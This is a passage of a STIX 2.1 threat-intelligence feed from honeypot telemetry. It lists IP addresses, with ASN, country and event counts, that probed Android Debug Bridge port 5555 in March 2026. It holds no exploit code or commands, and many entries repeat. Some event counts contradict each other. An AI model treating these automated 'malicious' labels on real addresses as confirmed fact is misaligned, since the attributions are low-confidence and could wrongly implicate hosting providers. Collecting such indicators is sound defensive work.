          "last_seen": "2026-03-30T08:54:22.241Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SE"
          ],
          "asn": [
            "42237"
          ],
          "org": [
            "w1n ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T08:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=SE; asn=42237; asn_org=w1n ltd; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=56 | first_seen=2026-03-03T20:32:23.000Z | last_seen=2026-03-30T08:54:22.241Z | ports=5555 | cc=SE | asn=42237 | org=w1n ltd",
      "id": "indicator--f15433ca-ea71-4e3a-a813-05671a711164",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.246.128.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T08:00:11.000Z",
      "valid_until": "2026-04-02T08:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 56,
          "first_seen": "2026-03-03T20:32:23.000Z",
          "last_seen": "2026-03-30T08:54:22.241Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SE"
          ],
          "asn": [
            "42237"
          ],
          "org": [
            "w1n ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T09:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-17T17:53:08.000Z | last_seen=2026-03-17T18:03:23.669Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--22b7c063-1c4a-4e37-94be-71f9902d2ef8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '143.198.30.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T09:00:13.000Z",
      "valid_until": "2026-04-02T09:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-17T17:53:08.000Z",
          "last_seen": "2026-03-17T18:03:23.669Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T09:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-17T17:53:08.000Z | last_seen=2026-03-17T18:03:23.669Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--22b7c063-1c4a-4e37-94be-71f9902d2ef8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '143.198.30.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T09:00:13.000Z",
      "valid_until": "2026-04-02T09:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-17T17:53:08.000Z",
          "last_seen": "2026-03-17T18:03:23.669Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T10:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--d4d2d010-d546-4266-9634-71c46fecd6c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.245.35.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:00:13.000Z",
      "valid_until": "2026-04-02T10:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T10:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--d4d2d010-d546-4266-9634-71c46fecd6c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.245.35.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:00:14.000Z",
      "valid_until": "2026-04-02T10:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T12:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=HK; asn=21859; asn_org=Zenlayer Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--65dcc46c-8aa0-4658-8945-3d279ba0358b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '156.59.197.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:00:14.000Z",
      "valid_until": "2026-04-02T12:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T12:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=27; ports=5555; cc=RO; asn=47890; asn_org=Unmanaged Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=343 | first_seen=2026-03-05T23:01:32.000Z | last_seen=2026-03-25T23:34:35.147Z | ports=5555 | cc=RO | asn=47890 | org=Unmanaged Ltd",
      "id": "indicator--f1c04873-7208-4f7a-8d22-ad5028350d27",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '193.32.162.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:00:14.000Z",
      "valid_until": "2026-04-02T12:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 343,
          "first_seen": "2026-03-05T23:01:32.000Z",
          "last_seen": "2026-03-25T23:34:35.147Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "47890"
          ],
          "org": [
            "Unmanaged Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T12:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=RO; asn=204428; asn_org=SS-Net; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=99 | first_seen=2026-03-06T08:54:31.000Z | last_seen=2026-03-30T19:36:15.547Z | ports=5555 | cc=RO | asn=204428 | org=SS-Net",
      "id": "indicator--04a8387f-61ea-48d8-974f-b9dd09f40661",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:00:14.000Z",
      "valid_until": "2026-04-02T12:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 99,
          "first_seen": "2026-03-06T08:54:31.000Z",
          "last_seen": "2026-03-30T19:36:15.547Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "204428"
          ],
          "org": [
            "SS-Net"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T12:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=HK; asn=21859; asn_org=Zenlayer Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--65dcc46c-8aa0-4658-8945-3d279ba0358b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '156.59.197.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:00:14.000Z",
      "valid_until": "2026-04-02T12:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T12:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=27; ports=5555; cc=RO; asn=47890; asn_org=Unmanaged Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=343 | first_seen=2026-03-05T23:01:32.000Z | last_seen=2026-03-25T23:34:35.147Z | ports=5555 | cc=RO | asn=47890 | org=Unmanaged Ltd",
      "id": "indicator--f1c04873-7208-4f7a-8d22-ad5028350d27",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '193.32.162.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:00:14.000Z",
      "valid_until": "2026-04-02T12:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 343,
          "first_seen": "2026-03-05T23:01:32.000Z",
          "last_seen": "2026-03-25T23:34:35.147Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "47890"
          ],
          "org": [
            "Unmanaged Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T12:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=RO; asn=204428; asn_org=SS-Net; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=99 | first_seen=2026-03-06T08:54:31.000Z | last_seen=2026-03-30T19:36:15.547Z | ports=5555 | cc=RO | asn=204428 | org=SS-Net",
      "id": "indicator--04a8387f-61ea-48d8-974f-b9dd09f40661",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:00:14.000Z",
      "valid_until": "2026-04-02T12:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 99,
          "first_seen": "2026-03-06T08:54:31.000Z",
          "last_seen": "2026-03-30T19:36:15.547Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "204428"
          ],
          "org": [
            "SS-Net"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T13:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=RO; asn=47890; asn_org=Unmanaged Ltd; cats=Misc activity,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--59ba6205-4dfa-4873-a6fa-399c576b880b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.94.93.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T13:00:13.000Z",
      "valid_until": "2026-04-02T13:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T13:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=20; ports=5555; cc=GB; asn=201002; asn_org=PebbleHost Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=19 | first_seen=2026-03-27T02:13:15.000Z | last_seen=2026-03-27T02:23:55.126Z | ports=5555 | cc=GB | asn=201002 | org=PebbleHost Ltd",
      "id": "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T13:00:13.000Z",
      "valid_until": "2026-04-02T13:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 19,
          "first_seen": "2026-03-27T02:13:15.000Z",
          "last_seen": "2026-03-27T02:23:55.126Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "201002"
          ],
          "org": [
            "PebbleHost Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T13:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=RO; asn=47890; asn_org=Unmanaged Ltd; cats=Misc activity,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--59ba6205-4dfa-4873-a6fa-399c576b880b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.94.93.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T13:00:14.000Z",
      "valid_until": "2026-04-02T13:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T13:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=20; ports=5555; cc=GB; asn=201002; asn_org=PebbleHost Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=19 | first_seen=2026-03-27T02:13:15.000Z | last_seen=2026-03-27T02:23:55.126Z | ports=5555 | cc=GB | asn=201002 | org=PebbleHost Ltd",
      "id": "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T13:00:14.000Z",
      "valid_until": "2026-04-02T13:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 19,
          "first_seen": "2026-03-27T02:13:15.000Z",
          "last_seen": "2026-03-27T02:23:55.126Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "201002"
          ],
          "org": [
            "PebbleHost Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T15:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T15:00:13.000Z",
      "valid_until": "2026-04-02T15:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T15:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--fba3ec24-af2e-45fb-83f8-b17c6a6c6338",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T15:00:13.000Z",
      "valid_until": "2026-04-02T15:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T15:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T15:00:14.000Z",
      "valid_until": "2026-04-02T15:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T15:00:14.000Z",
